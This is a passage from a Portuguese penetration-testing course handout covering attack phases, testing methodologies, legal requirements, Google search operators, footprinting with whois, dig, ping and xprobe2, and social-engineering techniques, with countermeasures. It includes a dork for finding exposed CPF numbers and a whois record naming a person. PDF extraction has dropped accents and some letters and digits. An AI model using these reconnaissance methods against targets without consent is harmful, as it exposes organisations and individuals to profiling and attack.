Aps conseguir o acesso, o atacante busca, de alguma forma, manter o acesso conseguido atravs de seus ataques. Isso normalmente no utilizado por um pen tester, a no ser que seja extremamente necessrio. O risco de congurar o sistema, implantando backdoors ou outro tipo de dispositivo que permita o acesso posterior, que a ferramenta utilizada pode voltar- se contra voc, pois outras pessoas podem descobri-la, explor-la e ganhar acesso facilmente ao sistema comprometido. Portanto, essa fase, quando realizada durante um teste de invaso, precisa de extremo cuidado e planejamento para no trazer comprometimentos e prejuzos desnecessrios ao alvo.

4.4.5 Limpando rastros


Nessa fase nal do ataque, o atacante apaga todos os seus rastros, todos os registros de operaes realizadas dentro do sistema comprometido. Como o pen tester tem autorizao para realizar os testes, no necessrio apagar rastros. Isso se torna importante para um pen tester, apenas se quiser testar, tambm, a capacidade da equipe de percia forense e respostas a incidentes de descobrir o que foi feito e recuperar informaes alteradas.

PenTest - Segurana Hacker

Pgina 79

Linux Force www.linuxforce.com.br

Introduo ao Teste de Invaso e tica Hacker

4.5 Categorias de ataques


H vrios tipos de ataque possveis de serem realizados. Podemos dividir tais ataques em dois grandes grupos:

4.5.1 Server Side Attacks


Server Side Attack ou ataque ao servidor foca na tentativa de explorar servios que esto em execuo em um determinado dispositivo. Normalmente no precisam de interao do usurio e prov uma Shell remota para o atacante. So exemplos de ataques a servidores: Ataques a servidores WEB Ataques a servidores de e-mail Ataques a servidores DNS Ataques a servios RPC

4.5.2 Client Side Attacks


Client Side Attacks ou ataques ao cliente foca na tentativa de explorar aplicaes que so executadas no computador e que normalmente precisam de uma interao da pessoa para que o ataque seja executado. So exemplos de ataques ao cliente: Explorao de falhas no Internet Explorer Explorao de falhas em editores de texto Explorao de falhas em Clientes de E-mail Explorao de falhas em programas reprodutores de vdeo

PenTest - Segurana Hacker

Pgina 80

Linux Force www.linuxforce.com.br

Introduo ao Teste de Invaso e tica Hacker

Nesses casos, o cliente precisa visitar um site, ou abrir um e-mail, ou ento abrir um arquivo que explorar a aplicao que est instalada no computador do cliente. Packs como Mpack e IcePack exploram vulnerabilidades em navegadores webs, ou seja, realizam um client side attack.

4.6 Metodologias existentes


Para um teste de invaso no car solto e sem uma sequncia lgica coerente, a comunidade de segurana, atravs de alguns rgos, associaes, institutos e pesquisadores, criou uma srie de metodologias para servirem como guias bsicos para a correta realizao de testes de invaso. Isso permite uma certa padronizao nos testes realizados seguindo uma outra metodologia. Podemos citar internacionalmente: OSSTMM OWASP Testing Guide NIST SP800-115 e SP800-42 ISSAF PenTest Frameworks Nosso treinamento foi feito baseado na metodologia OSSTMM (Open Source Security Testing Methodology Manual), e nessa metodologia as premissas para realizar um teste so: O teste dever ser conduzido exaustivamente O teste deve contemplar todos os itens necessrios O escopo do teste no deve ferir os direitos humanos bsicos Os resultados devem ser quanticveis

PenTest - Segurana Hacker

Pgina 81

Linux Force www.linuxforce.com.br

Introduo ao Teste de Invaso e tica Hacker

Os resultados devem ser consistentes Os resultados devem conter apenas o que foi obtido com os testes Essas so as premissas de um teste de intruso. Ainda em acordo com a OSSTMM, o resultado nal deve conter os seguintes tpicos: Data e hora dos testes Tempo de durao dos testes Analistas e pessoas envolvidas Tipo do teste Escopo do teste O resultado da enumerao Margens de erro Qualicao do risco Qualquer tipo de erro ou anomalia desconhecida

Dica: a metodologia OSSTMM voltada mais para testes em sistemas e infraestrutura, apesar de tambm contemplar testes em aplicaes WEB. A metodologia desenvolvida pelo OWASP, j especca para testes de invaso em aplicaes WEB.

4.7 Como conduzir um teste de invaso


Alguns passos bsicos so necessrios para a preparao e realizao de um teste de invaso, para que o mesmo seja bem sucedido. Dentre esses passos, ou fases, podemos destacar os seguintes: Passo 1: Converse com seu cliente sobre as necessidades do teste; Esse um dos passos mais importantes, pois no podemos deixar que existam zonas cinza

PenTest - Segurana Hacker

Pgina 82

Linux Force www.linuxforce.com.br

Introduo ao Teste de Invaso e tica Hacker

no que foi contratado e acertado, entre o cliente e o pen tester. Aqui denimos tudo, desde o escopo, ao tipo de teste que ser realizado. Aqui tambm denido o que permitido e o que no permitido realizar durante o teste. Passo 2: Prepare o contrato de servio e pea ao cliente para assin- los; Depois de tudo denido no primeiro passo, feito um contrato de prestao de servio, onde est descrito o que ser realizado (escopo, horrios, equipe de prossionais, permisses, etc) e assinado por contratado e contratante. Alm de um contrato de prestao de servio, de grande importncia a assinatura de um NDA (non disclosure agreement), que dene que as informaes que a equipe do teste de invaso ter acesso, no sero revelados ou divulgados, excetuando-se pessoa que assinou o contrato de prestao de servio. Passo 3: Prepare um time de prossionais e agende o teste; Aqui reunimos os prossionais que participaro dos testes e lhes passamos todas as informaes pertinentes ao que ser realizado. A partir da formao da equipe e denio de papis para cada prossional, podemos agendar o teste com o cliente e iniciar o planejamento do mesmo com a equipe em conjunto. Passo 4: Realize o teste; Nesse passo onde o teste efetivamente executado. Lembrando sempre de seguir o que foi acordado com o cliente e respeitar as clusulas do contrato e NDA assinados. Passo 5: Analise os resultados e prepare um relatrio; Todas as informaes coletadas, resultados obtidos e ocorrncias durante a realizao do teste so posteriormente reunidas e analisadas. Os resultados dessas anlises so colocados em um relatrio, contextualizados, e feita a descrio, explicao e possvel soluo para cada falha encontrada e explorada. Passo 6: Entregue o relatrio ao cliente. O relatrio ps-teste, entregue APENAS para a pessoa responsvel pela contratao do teste de invaso, ou denida em contrato. Como as informaes contidas em tal relatrio so extremamente sensveis, deve-se tomar o mximo cuidado possvel para que o mesmo no caia nas mos de pessoas sem autorizao para ter acesso ao mesmo. O ideal que a equipe no guarde nem mesmo uma cpia do relatrio, e isso deve ser denido no NDA e no contrato de servio.

PenTest - Segurana Hacker

Pgina 83

Linux Force www.linuxforce.com.br

Introduo ao Teste de Invaso e tica Hacker

Essa medida extrema tomada justamente para evitar qualquer vazamento possvel de informaes.

4.8 Aspectos Legais


importante atentarmos para os aspectos legais de um teste de invaso, e se os mesmo esto de acordo com as leis vigentes no pas, e principalmente com o que foi assinado no contrato de prestao de servio ou NDA. Devemos lembrar-nos de uma coisa: TESTE DE INVASO SEM PERMISSO CRIME! Portanto, tenha sempre um contrato prvio assinado com o cliente, onde sero denidos os seguintes pontos: Limites do teste: at onde pode ir; Horrios: perodos de menor utilizao ou menos crticos; Equipe de suporte: caso haja algum para tomar providncias caso algum ataque tenha efeitos colaterais; Contatos: ao menos trs contatos, com e-mail, endereo e telefone; Permisso assinada: um documento assinado pelo responsvel pela empresa, com os nomes das pessoas da equipe autorizadas a realizar os testes. Dentro do que foi acordado, devemos ter o mximo cuidado para no causar comprometimentos que tragam algum tipo de prejuzo ao cliente, como a indisponibilidade de informaes vitais para o funcionamento organizacional, por exemplo. Levando em conta esse aspecto, se possvel, interessante reproduzir o ambiente de testes em mquina virtual para aproximar-se do possvel comportamento do ambiente testado antes de nalmente lanarmos alguns tipos de ataques. Isso evitaria a maior parte dos comprometimentos no planejados infraestrutura do cliente, e pode poupar muita dor de cabea!

PenTest - Segurana Hacker

Pgina 84

5 Google Hacking
5.1 Google Hacking
Google Hacking a atividade de usar recursos de busca do site, visando atacar ou proteger melhor as informaes de uma empresa. As informaes disponveis nos servidores web da empresa provavelmente estaro nas bases de dados do Google. Um servidor mal congurado pode expor diversas informaes da empresa no Google. No difcil conseguir acesso a arquivos de base de dados de sites atravs do Google. O Google possui diversos recursos que podem ser utilizados durante um teste de invaso, e justamente por isso considerada a melhor ferramenta para os hackers, pois permite acesso a todo e qualquer tipo de informao que se queira. Podemos usar como exemplo, o recurso de cache do Google, onde o mesmo armazena verses mais antigas de todos os sites que um dia j foram indexados por seus robs. Esse recurso permite que tenhamos acesso s pginas que j foram tiradas do ar, desde que ainda existam na base de dados do Google. Vamos imaginar que em algum momento da histria do site de uma organizao, uma informao mais sensvel estivesse disponvel. Depois de um tempo, o webmaster tendo sido alertado retirou tal informao do site. No entanto, se a pgina do site j tiver sido indexada pelo Google, possvel que mesmo tendo sido alterada, ou retirada, ainda possamos acess-la utilizando o recurso de cache do Google.

5.2 Comandos Avanados do Google


5.2.1 intitle, allintitle
Busca contedo no ttulo (tag title) da pgina.

Linux Force www.linuxforce.com.br

Google Hacking

Quando utilizamos o comando intitle, importante prestar ateno sintaxe da string de busca, posto que a palavra que segue logo aps o comando intitle considerada como a string de busca. O comando allintitle quebra essa regra, dizendo ao Google que todas as palavras que seguem devem ser encontradas no title da pgina, por isso, esse ltimo comando mais restritivo.

5.2.2 inurl, allinurl


Encontra texto em uma URL. Como explicado no operador intitle, pode parecer uma tarefa relativamente simples utilizar o operador inurl sem dar maior ateno ao mesmo. Mas devemos ter em mente que uma URL mais complicada do que um simples title, e o funcionamento do operador inurl pode ser igualmente complexo. Assim como o operador intitle, inurl tambm possui um operador companheiro, que o allinurl, que funciona de maneira idntica e de forma restritiva, exibindo resultados apenas em que todas as strings foram encontradas.

5.2.3 letype
Busca por um arquivo de determinado tipo. O Google pesquisa mais do que apenas pginas web. possvel pesquisar muitos tipos diferentes de arquivos, incluindo PDF (Adobe Portable Document Format) e Microsoft Ofce. O operador letype pode ajud-lo na busca de tipo de arquivos especcos. Mais especicamente, podemos utilizar esse operador para pesquisas de pginas que terminam em uma determinada extenso.

5.2.4 allintext
Localiza uma string dentro do texto de uma pgina. O operador allintext talvez o mais simples de usar, pois realiza a funo de busca mais conhecida como: localize o termo no texto da pgina.

PenTest - Segurana Hacker

Pgina 86

Linux Force www.linuxforce.com.br

Google Hacking

Embora este operador possa parecer genrico para ser utilizado, de grande ajuda quando sabe que a string de busca apenas poder ser encontrada no texto da pgina. Utilizar o operador allintext tambm pode servir como um atalho para "encontrar esta string em qualquer lugar, exceto no title, URL e links".

5.2.5 site
Direciona a pesquisa para o contedo de um determinado site. Apesar de ser tecnicamente uma parte da URL, o endereo (ou nome de domnio) de um servidor pode ser mais bem pesquisada com o operador site. Site permite que voc procure apenas as pginas que esto hospedadas em um servidor ou domnio especco.

5.2.6 link
Busca por links para uma determinada pgina. Em vez de fornecer um termo de pesquisa, o operador necessita de um link URL ou nome do servidor como um argumento.

5.2.7 inanchor
Localiza texto dentro de uma ncora de texto. Este operador pode ser considerado um companheiro para o operador link, uma vez que ambos buscam links. O operado inanchor, no entanto, pesquisa a representao de texto de um link, no o URL atual. Inanchor aceita uma palavra ou expresso como argumento, como inanchor:click ou inanchor:linuxforce. Este tipo de pesquisa ser til especialmente quando comeamos a estudar formas de buscar relaes entre sites.

PenTest - Segurana Hacker

Pgina 87

Linux Force www.linuxforce.com.br

Google Hacking

5.2.8 daterange
Busca por pginas publicadas dentro de um range de datas. Voc pode usar este operador para localizar pginas indexadas pelo Google em um determinado intervalo de datas. Toda vez que o Google rastreia uma pgina, a data em sua base de dados alterada. Se o Google localizar alguma pgina Web obscura, pode acontecer de index-la apenas uma vez e nunca retornar ela. Se voc achar que suas pesquisas esto entupidas com esses tipos de pginas obscuras, voc pode remov-las de sua pesquisa (e obter resultados mais atualizados) atravs do uso ecaz do operador daterange. Lembrando que a data deve ser informada no formato do calendrio Juliano, informando o nmero de dias existentes entre 4713 AC e a data em que se quer buscar.

5.2.9 cache
Mostra a verso em cache de uma determinada pgina. Como j discutimos, o Google mantm "snapshots"de pginas que indexou e que podemos acessar atravs do link em cache na pgina de resultados de busca. Se quiser ir direto para a verso em cache de uma pgina, sem antes fazer uma consulta ao Google para chegar ao link em cache na pgina de resultados, voc pode simplesmente usar o operador cache em uma consulta, como cache:blackhat.com

5.2.10 info
Mostra contedo existente no sumrio de informaes do Google. O operador info mostra o resumo das informaes de um site e fornece links para outras pesquisas do Google que podem pertencer a este site. O parmetro informado este operador, deve ser uma URL vlida.

PenTest - Segurana Hacker

Pgina 88

Linux Force www.linuxforce.com.br

Google Hacking

5.2.11 related
Mostra sites relacionados. O operador related exibe o que o Google determinou como relacionado a um determinado site. O parmetro para esse operador uma URL vlida. possvel conseguir essa mesma funcionalidade, clicando no link "Similar Pages"a partir de qualquer pgina de resultados de busca, ou usando o "Find pages similar to the page"da pgina do formulrio de pesquisa avanada

5.3 Google Hacking Database


H um banco de dados virtual, com tags de busca no Google previamente criadas, para conseguir informaes especcas. A partir das tags existentes, podemos encontrar muitas coisas interessantes sem precisarmos nos preocupar em como desenvolver buscas especcas, utilizando os operadores do Google, e test-las at conseguirmos que os ltros corretos funcionem. Mas o mais importante que devemos manter em mente, a possibilidade e adaptar tais tags de busca para nossas necessidades.

GHD http://www.exploit-db.com/google-dorks/

5.4 Levantamento de informaes


O Google a principal ferramenta para o levantamento de informaes de nosso alvo. o melhor sistema pblico para utilizarmos em busca de informaes sobre qualquer coisa em relao ao nosso alvo: sites, propagandas, parceiros, redes sociais, grupos e etc. Alm do Google, h outros sites especcos que auxiliam no processo de levantamento de informaes, os quais conheceremos mais adiante.

PenTest - Segurana Hacker

Pgina 89

Linux Force www.linuxforce.com.br

Google Hacking

Um simples exemplo do que podemos encontrar no Google, e que pode voltar- se contra a pessoa que disponibilizou tais informaes online, o seguinte: digitar na caixa de busca currculo + cpf . Certamente vrios resultados retornaro com links onde podemos encontrar nome completo, endereo, telefone, CPF, identidade e mais algumas informaes das pessoas que disponibilizaram seus dados na internet. Tendo conhecimento de como esses dados podem ser utilizados de maneira maliciosa, podemos ter mais conscincia ao publicarmos quaisquer informaes nossas na internet.

PenTest - Segurana Hacker

Pgina 90

6 Levantamento de Informaes
6.1 Objetivos
Conhecer os principais meios para coletar informaes sobre o alvo Coletar informaes utilizando ferramentas pblicas Coletar informaes utilizando ferramentas especcas Levantar domnios utilizando consultas pblicas e ferramentas

6.2 Footprint
Footprint a primeira etapa a ser realizada em um teste de intruso. Durante essa etapa, o Pen-tester coleta o mximo de informaes para alimentar a anatomia de ataque. Podemos dizer que a fase em que o Pen-tester se prepara para realizar o ataque. Em mdia, um Pen-tester gasta 70% do tempo analisando um alvo e levantando informaes sobre o mesmo. Apenas 30% do tempo e usado para realizar o ataque e avaliar a possibilidade de um atacante realizar procedimentos ps-invaso na mquina alvo. Quando estamos realizando um footprint, devemos buscar informaes relativas topologia da rede, sistemas operacionais, quantidade de mquinas e localizao fsica. Alm disso, importante tambm descobrir informaes sobre os funcionrios da empresa, como: emails, cargos e tambm funo especca no ambiente.

Linux Force www.linuxforce.com.br

Levantamento de Informaes

"D-me seis horas para cortar uma rvore, e eu gastarei as primeiras quatro horas aando o machado."

Abraham Lincoln

6.3 Por onde comear?


O primeiro passo para comear a coleta de informaes navegar no website do alvo. Vamos tomar como exemplo o website que hospeda o kernel Linux. Abra o navegador e aponte para http://www.kernel.org. Que tipo de informaes voc conseguiu encontrar no site? Neste site h pelo menos trs informaes que um cracker levaria em considerao: Dois e-mails vlidos Um endereo para acompanhar as estatsticas dos servidores E uma lista com tecnologias e fornecedores No acredita? Ento de uma olhada: Os e-mails so webmaster@kernel.org e ftpadmin@kernel.org http://cacti.kernel.org/graph_view.php?action=preview http://www.kernel.org/powered.html Ainda no encontrou? Ento experimente olhar o cdigo fonte da aplicao! Como vimos, um simples acesso e um pouco de observao no site do alvo pode nos fornecer algumas informaes no mnimo interessantes. Depois de observar um website procura de informaes, o prximo passo pesquisar sobre coisas no to bvias, porm, ainda sim pblicas.

PenTest - Segurana Hacker

Pgina 92

Linux Force www.linuxforce.com.br

Levantamento de Informaes

6.4 Consulta a informaes de domnio


Aps observar o site do alvo, de interesse do atacante conhecer detalhes referentes ao nome de domnio do cliente. A primeira coisa a ser feita buscar informaes sobre o proprietrio de um domnio. Isso pode ser feito utilizando o comando whois.

# whois linuxforce . com . br

Vamos qual o resultado que obtemos a esse comando:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25

domain : owner : ownerid : country : owner -c: admin -c: tech -c: billing -c : nserver : nsstat : nslastaa : nserver : nsstat : nslastaa : saci : created : expires : changed : status : nic - hdl - br : person : e - mail : created : changed :

linuxforce . com . br maria rosa mariano galvao 696.856.9 6 BR MRMGA MRMGA SRG1 7 MRMGA ns1 . linuxforce . com . br 1 8.163.17 .146 2 121123 AA 2 121123 ns2 . linuxforce . com . br 1 8.163.17 .147 2 121123 AA 2 121123 yes 2 1 12 1 # 76331 1 2 1212 1 2 12 411 published MRMGA maria rosa mariano galvao marcio@linuxforce . com . br 2 1 9 1 2 11 929

Podemos concluir que com um simples comando, disponvel em praticamente qualquer sistema operacional, foi possvel obter o nome do responsvel pelo domnio, o nome do responsvel tcnico pelo domnio, o nome dos dois servidores de DNS e o CNPJ da empresa, localizado no campo ownerid.

PenTest - Segurana Hacker

Pgina 93

Linux Force www.linuxforce.com.br

Levantamento de Informaes

Alm da consulta whois em sistemas operacionais, possvel ainda utilizar servios que consultam o a base de dados de proprietrios de domnios atravs de ferramentas web, como o prprio http://registro.br, por exemplo.

https://registro.br/cgi-bin/whois/

Se compararmos a sada do site com a sada do comando whois, veremos que o resultado idntico. importante saber que para cada regio do mundo inteiro, h organizaes responsveis pelo registro de domnios, acima das organizaes responsveis pelos registros em cada pas. No quadro abaixo, temos o nome e o endereo das organizaes responsveis em cada parte do globo pelo gerenciamento e liberao de domnio (incluindo o grupo de IPs) para cada regio:

6.5 Consultando servidores DNS


Como sabemos, os servidores DNS so responsveis por traduzir os nomes cannicos de um domnio para o seu respectivo endereo IP. Sendo assim, um servidor DNS conhece todos servidores que esto acessveis atravs da rede pblica. Vamos consult-lo, ento.

# dig -t MX linuxforce . com . br

PenTest - Segurana Hacker

Pgina 94

Linux Force www.linuxforce.com.br

Levantamento de Informaes

# dig -t NS linuxforce . com . br

Os campos MX, e NS fornecem, respectivamente, o nome dos servidores de e-mail e o nome de todos os servidores de DNS. Com essa consulta, j conseguimos, inclusive, endereos de servidores que utilizaremos em nossa varredura e enumerao de servios.

6.6 Consultando websites antigos


Alm da possibilidade de utilizarmos a opo em cache do Google, possvel utilizarmos outros servios que possibilitam que acessemos verses mais antigas de qualquer site que j tenha sido publicado na web.

http://www.archive.org

Com isso, podemos encontrar informaes que podem ser teis, principalmente para ataques de engenharia social, pois encontramos produtos antigos, ex-funcionrios, informaes que foram retiradas do site por serem sensveis e etc. Utilizando esse servio e pesquisando o site da Linux Force, obtemos o seguinte resultado:

PenTest - Segurana Hacker

Pgina 95

Linux Force www.linuxforce.com.br

Levantamento de Informaes

6.7 Webspiders
Webspiders so programas que navegam automaticamente por websites para coletar informaes. Pensando no Google, um webspider feito pelo Google navega pelos links das pginas e alimenta uma base de dados do Google, que usada para consultas durante as buscas realizadas pelos usurios. Vamos parar e lembrar como funcionavam antigamente os sistemas de buscas como Yahoo!, Cade?, Aonde.com, dentre outros. Antigamente, ns precisvamos cadastrar os nossos sites e as palavras chave referentes ao site, para ele ser encontrado durante as buscas. Porm, o Google inovou na maneira de alimentar as bases de dados dele, usando webspider. Hoje, basta que um site esteja na internet e linkado para que ele aparea nas bases do Google, sem precisar de nenhum cadastro por parte do criador do site nas ferramentas de buscas. Porm, isso exps muitas informaes e para isso, foram criados os arquivos robots.txt. Um webspider consulta o arquivo robots.txt que est localizado no diretrio raiz do website para saber quais arquivos ele no deve analisar. Portanto, os arquivos ou diretrios que esto listados em um arquivo robots.txt no aparecero nos resultados das buscas realizadas em sites como o Google. Vamos a um exemplo:

http://www.linuxforce.com.br/robots.txt

Portanto, os arquivos robots.txt podem revelar para ns informaes sobre arquivos e diretrios que poderamos no conhecer e at mesmo no estar linkado no site. Mais informaes sobre os arquivos robots.txt podem ser obtidas no site

http://www.robotstxt.org/orig.html

PenTest - Segurana Hacker

Pgina 96

Linux Force www.linuxforce.com.br

Levantamento de Informaes

6.8 Netcraft
Netcraft uma empresa europia que prove servios de internet. Dentro de alguns servios que ela fornece est a anlise de mercado para empresas de web hosting e servidores web, incluindo deteco do sistema operacional e verso do servidor web, e em alguns casos, informaes sobre uptime do servidor, j que normalmente esse fator determinante na escolha de uma empresa de hospedagem de sites. Para ns, pode ser til para exibir a verso do sistema operacional e servidor web que um determinado host est usando, alm de manter um histrico das verses que o mesmo host j usou anteriormente.

http://www.netcraft.com

6.9 Buscando relacionamentos


Atravs de relacionamentos encontrados na web, podemos conseguir mais informaes de nosso alvo. Informaes de relacionamentos podem ser encontradas em site com links para o site do alvo, sites secundrios que tem relao com o site principal do alvo, companhias que fazem negcios ou esto sob a mesma administrao que nosso alvo e etc. Essas servem para entendermos melhor como a organizao trabalha, se possui outros ramos de atividades, organizaes irms e parcerias. Com tais informaes em mos, e um melhor conhecimento da estrutura organizacional, podemos, inclusive, realizar ataques de engenharia social mais ecazes. O Google nos fornece alguns operadores que nos auxiliam nessa busca, e que j estudamos anteriormente. So eles: info link related

PenTest - Segurana Hacker

Pgina 97

Linux Force www.linuxforce.com.br

Levantamento de Informaes

6.10 Rastreamento de E-mails


A anlise de e-mails normalmente feita pela rea de Forense Computacional. Porm, podemos usar um e-mail para obter informaes sobre o host da pessoa, quando esse no de conhecimento do atacante e precisa ser descoberto, pois um possvel alvo. O correio eletrnico dividido em duas partes: Cabealho (Header) e Corpo (Body) do e-mail. No cabealho onde encontramos diversos campos com informaes de controle, destinatrio, remetente, data de envio, dentre outras informaes. E no corpo da mensagem que encontramos a mensagem, em si. De acordo com a Rfc 2821 / 2822 , temos os seguintes campos presentes no cabealho de um e-mail: Campos de origem: From: - autor da mensagem Sender: - remetente da mensagem Reply-to: - e-mail sugerido pelo autor da mensagem para que as respostas sejam enviadas Campos de destino: To: - endereo dos receptores primrios da mensagem Cc: - Carbon Copy recebero uma cpia da mensagem, com o e- mail visvel para todos Bcc: - Blind Carbon Copy recebero uma cpia da mensagem, sem ter o e-mail visvel para todos Campo de data de origem: Date: Hora da criao da mensagem Campos de identicao:

PenTest - Segurana Hacker

Pgina 98

Linux Force www.linuxforce.com.br

Levantamento de Informaes

Message-ID: Identicador de mensagem nico. Valor nico determinado pelo servidor que transmite a mensagem; In-Reply-To: Usado quando uma mensagem respondida. mensagem respondida. Identicador da mensagem respondida; References: Usado quando uma Referncias. Campos de informao: Subject: Assunto da mensagem; Comments: Comentrios sobre a mensagem; Keywords: Palavras chaves relacionadas mensagem; Campos de Rastreamento: Return-Path: Caminho de volta da mensagem para o remetente. Esse campo adicionado pelo ltimo MTA que entrega o e-mail ao destinatrio Received: Contm informaes para ajudar na anlise de problemas com a entrega e recebimento das mensagens. Todo e-mail possui pelo menos um campo Received, que adicionado por cada servidor onde a mensagem passa. O campo que interessa a ns o campo Received:, que contm informaes sobre o endereo IP de onde a mensagem de correio eletrnico partiu.

6.11 Fingerprint
Fingerprint uma das principais tcnicas de levantamento de informao (footprint) que realizada por um Pen-Tester antes que o mesmo comece a realizar os ataques em seu alvo. A funo dessa tcnica identicar a verso e distribuio do sistema operacional que ir receber a tentativa de intruso. Sendo assim, essa tcnica extremamente importante para que o atacante consiga desenvolver de maneira mais precisa e menos ruidosa seu ataque. Usando essa tcnica o Pen-Tester estar explorando proble-

PenTest - Segurana Hacker

Pgina 99

Linux Force www.linuxforce.com.br

Levantamento de Informaes

mas da pilha TCP/IP e vericando caractersticas nicas que permitem que o sistema alvo seja identicado. S depois que isso for feito, podero ser escolhidas as melhores ferramentas para explorar o sistema. Para que o ngerprint apresente resultados conveis so necessrias anlises complexas, como: Analise de pacotes que trafegam pela rede; Leitura de banners (assinaturas do sistema); Anlise de particularidades da pilha TCP/IP. Para realizar tais anlises, podemos utilizar ferramentas especcas, conhecidas como scanners de ngerprint, que so softwares usados para realizar tarefas de deteco de sistemas operacionais. Entre os scanners existentes, podemos dividi-los basicamente em dois tipos:

6.12 Fingerprint passivo


O scanner atua como um farejador na rede, ou seja, ca escutando os pacotes que passam por ela, detectando o formato do pacote que esta passando consegue identicar o sistema operacional. Para esse tipo de operao, utilizamos a ferramenta p0f, que permite farejarmos os pacotes que trafegam na rede.

# p f -i eth

-o log

Com o parmetro -i denimos em qual dispositivo de rede ele car farejando os pacotes, se no denimos nada, ele assume all, farejando todos os dispositivos disponveis. Com o parmetro -o, dizemos para o p0f armazenar tudo o que for capturado em um arquivo de sada, com nome denido por ns.

PenTest - Segurana Hacker

Pgina 100

Linux Force www.linuxforce.com.br

Levantamento de Informaes

6.13 Fingerprint ativo


O scanner envia pacotes manipulados e forjados, baseado em uma tabela prpria de ngerprint. Com isso, ele analisa a resposta do pacote e compara com a tabela, para denir qual o sistema operacional. O risco desse tipo de ngerprint, que se o alvo estiver com um rewall bem congurado e um IDS/IPS, nosso acesso pode ser logado em seu sistema e pode ser difcil que consigamos muitas informaes. Duas ferramentas que podemos utilizar em um ngerprint ativo so nmap e xprobe2, alm, obviamente, dos comandos ping e traceroute, s para citarmos dois comandos bsicos.

6.13.1 Descobrindo um Sistema Operacional usando ICMP


Um simples ping capaz de revelar o sistema operacional de uma mquina.

1 2 3 4 5

# ping linuxforce . com . br PING linuxforce . com . br (1 8.163.17 .15 ) 56(84) bytes of data . 64 bytes from 1 8.163.17 .15 : icmp_seq =2 ttl =47 time =325 ms 64 bytes from 1 8.163.17 .15 : icmp_seq =3 ttl =47 time =471 ms 64 bytes from 1 8.163.17 .15 : icmp_seq =4 ttl =47 time =373 ms

A informao importante est no campo TTL (Time To Live). A maioria dos sistemas operacionais se diferencia pelo valor retornado de TTL. Veja a lista abaixo: Cyclades - Normalmente 30 Linux - Normalmente 64 Windows - Normalmente 128 Cisco - Normalmente 255 Linux + iptables - Normalmente 255

PenTest - Segurana Hacker

Pgina 101

Linux Force www.linuxforce.com.br

Levantamento de Informaes

6.13.2 Calculando HOP


Utilizando os comandos traceroute e ping conjugados para obter informaes, podemos calcular o ttl e descobrir o sistema operacional do alvo. Com o traceroute podemos ver que temos 13 saltos, at que os pacotes so interrompidos, o que pode representar um rewall ou algo do tipo que descarte os pacotes. Agora que sabemos por quantos roteadores estamos passando, podemos usar o comando ping para descobrir o TTL do site.

1 2 3

# ping linuxforce . com . br PING linuxforce . com . br (1 8.163.17 .15 ) 56(84) bytes of data . 64 bytes from 1 8.163.17 .15 : icmp_seq =2 ttl =47 time =325 ms

Somando a quantidade de saltos (13) com o valor de ttl (47), temos 60. O mais prximo de 60 64, que representa o Linux. A partir da, podemos concluir que o sistema operacional utilizado no servidor onde o site est hospedado Linux.

6.13.3 Fingerprint atravs do xprobe2


Ferramenta para ngerprint ativo apresentada na conferencia BlackHat Las-Vegas em 2001 criada por Fyodor criador da ferramenta nmap e Or Arkin co-fundador do projeto honeynet.org. Seu banco de dados de assinaturas ca em:

/ usr / local / etc / xprobe2 / xprobe2 . conf

Execute o xprobe2 em linuxforce.com.br para descobrir o sistema operacional:

# xprobe2 linuxforce . com . br

Agora tente utilizar o ngerprint sobre uma porta aberta:

# xprobe2 -p tcp :8 : open linuxforce . com . br

PenTest - Segurana Hacker

Pgina 102

Linux Force www.linuxforce.com.br

Levantamento de Informaes

Percebe-se que quanto maior o nmero de informaes que passamos para o xprobe2, maior a preciso no reconhecimento do Sistema Operacional do alvo.

6.14 Contramedidas
Congurar as aplicaes instaladas nos servidores, atentando para as informaes que elas exibem durante as requisies. Congurar corretamente as regras de rewall para bloquear requisies maliciosas. Ter cuidado com as informaes publicadas na WEB. Congurar corretamente o arquivo robot.txt, para que diretrios com arquivos sensveis no sejam indexados pelos sistemas de busca.

PenTest - Segurana Hacker

Pgina 103

7 Engenharia Social
7.1 O que Engenharia Social?
Podemos considerar a engenharia social como a arte de enganar pessoas para conseguir informaes, as quais no deviam ter acesso. Muitas vezes empregados de uma empresa deixam escapar informaes sigilosas atravs de um contato via telefone ou mesmo conversando em locais pblicos como: corredores, elevadores e bares. Uma empresa pode ter os melhores produtos de segurana que o dinheiro pode proporcionar. Porm, o fator humano , em geral, o ponto mais fraco da segurana.

7.2 Tipos de Engenharia Social


7.2.1 Baseada em pessoas
As tcnicas de engenharia social baseada em pessoas possuem diversas caractersticas que so utilizadas para que o atacante consiga as informaes que deseja, dentre elas podemos citar: Disfarces Representaes Uso de cargos de alto nvel Ataques ao servio de Helpdesk

Linux Force www.linuxforce.com.br

Engenharia Social

7.2.2 Baseada em computadores


Esses ataques so caracterizados por utilizarem tcnicas de ataque baseadas no desconhecimento do usurio com relao ao uso correto da informtica. Exemplos: Cavalos de Tria anexados a e-mails E-mails falsos WebSites falsos

7.3 Formas de ataque


7.3.1 Insider Attacks
Insiders so pessoas de dentro da prpria organizao. O objetivos por detrs dos ataques de insiders podem ser vrios, desde descobrir quanto o colega do lado ganha, at conseguir acesso a informaes condenciais de um projeto novo para vender ao concorrente de seu empregador.

7.3.2 Roubo de identidade


Atualmente, quando algum cria uma nova identidade baseando-se em informaes de outra pessoa, essa identidade chamada de laranja. Dentro de empresas, o roubo de credenciais, para acessar informaes que no esto acessveis a todos, um fato corriqueiro, que pode passar pelo simples shoulder surng clonagem de ID Card.

PenTest - Segurana Hacker

Pgina 105

Linux Force www.linuxforce.com.br

Engenharia Social

7.3.3 Phishing Scam


uma forma de fraude eletrnica, caracterizada por tentativas de adquirir informaes sigilosas, ou instalar programas maliciosos na mquina alvo. Na prtica do Phishing surgem artimanhas cada vez mais sosticadas para "pescar"(do ingls sh) as informaes sigilosas dos usurios.

7.3.4 URL Obfuscation


Tcnica utilizada para diminuir o tamanho de URLs muito grandes. Exemplos de servios: migre.me okm.me digi.to Isso pode ser utilizado para ocultar URL com parmetros ou tags maliciosos, como tags de javascript para ataques de XSS, por exemplo.

7.3.5 Dumpster Diving


o ato de vasculhar lixeiras em busca de informaes. Todos os dias so jogados no lixo de empresas vrios documentos por terem perdido sua utilidade. Os atacantes podem aproveitar essas informaes e us-las para um ataque.

7.3.6 Persuaso
Os prprios hackers vem a engenharia social de um ponto de vista psicolgico, enfatizando como criar o ambiente psicolgico perfeito para um ataque.

PenTest - Segurana Hacker

Pgina 106

Linux Force www.linuxforce.com.br

Engenharia Social

